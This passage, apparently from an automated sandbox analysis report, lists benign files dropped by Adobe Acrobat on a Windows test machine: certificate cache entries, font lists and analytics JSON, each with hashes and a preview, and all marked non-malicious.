Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkldT0illtfllXlE/HT8kHhvNNX8RolJuRdxLlGB9lQRYwpDdt:kKieT8i3NMa8RdWBwRd
MD5:	9A123D3CFDBCA30F4481F42BB9B76FDD
SHA1:	42AD5B8D496469AECC7011A27D974D3356D334BC
SHA-256:	4D2EF9DE7B93FB12686AC87ECFEE3B8D86357C04257C9BBA5FA382933A62D876
SHA-512:	10AE29E74DDFEAFFC649FA7F3824AA32403F4E0F79E756127289F21D8244FD01956C5E3B229C20496C9431DFB0FAF899C2E4E8C7911BB587980F3F92AB5EDAA7
Malicious:	false
Preview:	p...... .........K9..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.230795304831838
Encrypted:	false
SSDEEP:	6:kK6PL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:iPiDImsLNkPlE99SNxAhUe/3
MD5:	22AC0B5FD43F8E30D59CAD2097F4C7AA
SHA1:	110D17F8AA7F1382482C8396F3655FD7AB0A81E3
SHA-256:	A5F1E5F5DDA580980FBF7E137C66AE48A13CDC581B5B9339341031FCD4E72ADD
SHA-512:	55C26E34F4C97D3FD45F33EEA391B0C01F6A100EC528283B22254E8457337C0CE9C3F82B4970338C1532E09936F114DB8DCA973D2B0040D06DE2B9E5F2119F09
Malicious:	false
Preview:	p...... ........X....c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7876

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7876

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.352885257378069
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSAwEwvB3/dVlPIHAR0Yc3oAvJM3g98kUwPeUkwRe9:YvXKXSAwVvR/ZwHAgYGMbLUkee9
MD5:	3B017887061EBACF6511865D7934AB60
SHA1:	47DAAAD45648877AC34ABFA32E1FC09CD98CD3CC
SHA-256:	768C0323AEDE8054A5074A7C7A65398588E177EB273E33A9BCC5C9370AD6616E
SHA-512:	36D7735ADC6F4672CC523FDADD78730700B86F3BA34B407ED7494E0D2DCC4593880F773404C01078093BADB28C37BF7B7140F1DD3A364ED72EF692F5A295749C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30f64caa-8bf0-4a57-b151-24b0c50e5c30","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721108959,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.288188547637513
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSAwEwvB3/dVlPIHAR0Yc3oAvJfBoTfXpnrPeUkwRe9:YvXKXSAwVvR/ZwHAgYGWTfXcUkee9
MD5:	727F025C68DB04260EBB684386FB9A83
SHA1:	650C3409F6253ADFC264E67928F3E522BC0CB797
SHA-256:	4E5942527EA2BAEBFF9B1FC7FF627F15DB5B3CABF87CEB93A31C8670F0EC6CFD
SHA-512:	D83DA10B0E50ED5F0372132053814A4861E2D1FB4D6D12342D7DBFFE5CDC1643562FA69A52BFBE4C95440A21A3655CCEF92A90394959FBB6E748DE53BDC0565D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30f64caa-8bf0-4a57-b151-24b0c50e5c30","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721108959,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.266038641214583
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSAwEwvB3/dVlPIHAR0Yc3oAvJfBD2G6UpnrPeUkwRe9:YvXKXSAwVvR/ZwHAgYGR22cUkee9
MD5:	E8C73F3D2281F422C2C76B33E2B4D767
SHA1:	4D29FB3DD78E1B118D365CC1A7C96CBB4E00A751
SHA-256:	212E064340A315B361E12472B6135E97EA6F006C6F5767BDFFA7143A63EBB648
SHA-512:	4032C62214570FAB70C194551460340F6A9C480DE00643BD7C6A559A73F848854C8871EB7E97D9BC4FA42B270D2EFD66BC705304BCD0F09B2EEA556606BBC630
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30f64caa-8bf0-4a57-b151-24b0c50e5c30","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721108959,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.329466150276377
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSAwEwvB3/dVlPIHAR0Yc3oAvJfPmwrPeUkwRe9:YvXKXSAwVvR/ZwHAgYGH56Ukee9
MD5:	D710E6F720C677BFEFE5288607F4E71D
SHA1:	A26143C011F5F728F7E909373A3314B1FDCB2055
SHA-256:	54DDF463506C47256A90A067B624646AA728984B824A96A9D7C98CF76BF1BA51
SHA-512:	AD1C3699F7EA9FB8FBE9B32BC53587ED8B7E1CCEF1BF3C056A54F58559514724647950050A3EC2838E09DDE4ACD50AC7762AAE31491F8FCB2E5180AB218D373E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30f64caa-8bf0-4a57-b151-24b0c50e5c30","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721108959,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691640310541737
Encrypted:	false
SSDEEP:	24:Yv6XSAwVJhc1pLgE9cQx8LennAvzBvkn0RCmK8czOCCSnY1Y:Yv3XVJhShgy6SAFv5Ah8cv/nr
MD5:	BC6311BB16CC8FEE35B0EB2A53ADF6C5
SHA1:	AE970A601222C5A4CC9EF0DD394A84BDA06089A0
SHA-256:	08D6A0D228A0A1D3FEB275A92B55B8872514EE4AD1AEE8D3AA8A64EAC8A6CF3B
SHA-512:	2B2AF2758D846765855C4DA271D5831C55C0EB947C810F9C756C75C7791046D12139514C92D4BBC731BE3B88978D8DD3CE3F9FFBEC6A5D020F185DB05F7BD28F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30f64caa-8bf0-4a57-b151-24b0c50e5c30","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721108959,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.279852974527474
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSAwEwvB3/dVlPIHAR0Yc3oAvJf8dPeUkwRe9:YvXKXSAwVvR/ZwHAgYGU8Ukee9
MD5:	D8B24CBD17139205A14AB95DD5E10EA7
SHA1:	B2D3963CFDED5997B8FA491615A11C442213D5E0
SHA-256:	BB39B42AAE6CABAC5D031F07EBBA9D8A9B2B7438BED0BE7410ACC248D95EE4F6
SHA-512:	051B53FEEF6342F72F73F01CF37FE9EB812A9AC95CD8FD777037C2A2217E2AE5F709D74B574F21B1C4671DA7C6A573606C90E111430402904A2399A7EB7A0F9A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30f64caa-8bf0-4a57-b151-24b0c50e5c30","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721108959,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.279029731552086
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSAwEwvB3/dVlPIHAR0Yc3oAvJfQ1rPeUkwRe9:YvXKXSAwVvR/ZwHAgYGY16Ukee9
MD5:	0B52197C44B51E6CE3F3636BE4FCD0CC
SHA1:	68F05BADDC84E873C15759175D9BD48D7AE3C1F8
SHA-256:	BA8AD3CA38C4DDF0208D5C93582D21FC1ED7E0AC80E13B4EBCBC044E04A9B42E
SHA-512:	D7F1A7D36CB3B866E917108A0B4F5F9B5644F82AF92E4809054ABFB8D9798F4EDCC102575728C77C79B847BB38071A0559A97298F6A7366EF63374278D50FC44
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30f64caa-8bf0-4a57-b151-24b0c50e5c30","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721108959,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.297041510707056
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSAwEwvB3/dVlPIHAR0Yc3oAvJfFldPeUkwRe9:YvXKXSAwVvR/ZwHAgYGz8Ukee9
MD5:	8ED6D27156358E426DD8336E44F519A8
SHA1:	801DB2B28C9BC944C16F14226C093B6698104F12
SHA-256:	AA93D9903C2D0345F8A3943E472B48D91391C25AC5A50A3C2FD7A3ABFCADE37F
SHA-512:	1C502F0BBD0B2A73A0FBE5DF4A72B839E2174CF56E9D0621C03F368A6CE6DAEAF4A29109B2B65A841F891FE9380038DAD409563F15FE884E0666AB77D8BB667C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30f64caa-8bf0-4a57-b151-24b0c50e5c30","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721108959,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.308743610246386
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSAwEwvB3/dVlPIHAR0Yc3oAvJfzdPeUkwRe9:YvXKXSAwVvR/ZwHAgYGb8Ukee9
MD5:	CE1D16336D7228B56E9A75FBD9F2536E
SHA1:	DD492621D7B031B88350F39BED91176CDA4DE8DE
SHA-256:	A85CAA3C23E86627B8458F31DB18291726233971F86AD51E5E6C9635D738B300
SHA-512:	21809E5AB9EA33D4353D4D5898D80AF946CC89A65BD6A81AD8B631E888718987D6A21A2CC44612B8C255DAACB23A8357D6BB86FA23C2A6093D5A00660691E0B6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30f64caa-8bf0-4a57-b151-24b0c50e5c30","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721108959,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.289444345894563
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSAwEwvB3/dVlPIHAR0Yc3oAvJfYdPeUkwRe9:YvXKXSAwVvR/ZwHAgYGg8Ukee9
MD5:	4AE99092D5C89325FB6D96A4A26851DD
SHA1:	2D4D7995BA13D429727E58D91D9E72A27A208214
SHA-256:	F243C9618FFE4CDE2DC3A989434DC478A6C735BCA1E561F16B46B82ADB393170
SHA-512:	3505DF2AD4CF0AC1530944F08D27BF1C574E5787324789ACF0B4DE6461C1CC7F66A5258CC93B481A7E9F127ECECF3660D79355EE8B4479EBA599DCAF9AF9F960
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30f64caa-8bf0-4a57-b151-24b0c50e5c30","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721108959,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.275308879736707
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSAwEwvB3/dVlPIHAR0Yc3oAvJf+dPeUkwRe9:YvXKXSAwVvR/ZwHAgYG28Ukee9
MD5:	AE6390D012839882BCE030316E1F8CBB
SHA1:	571D26871FC555C64D63C316FDAC80BCC8818DA5
SHA-256:	7CF3C625A359F81E981DEE334809EC4A05D72BFF89406A7BEFA44879A8CD446D
SHA-512:	87F8F8A2352C4DDA8256EC8A64CCCD93D1DF2885FD0C585ADF001D6E64F21C73D27828E2C15E7DF83C949BAE690DB50C7E5351A7FADFBD7FB56AF060C2D34C22
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30f64caa-8bf0-4a57-b151-24b0c50e5c30","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721108959,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.273063991019323
Encrypted:	false
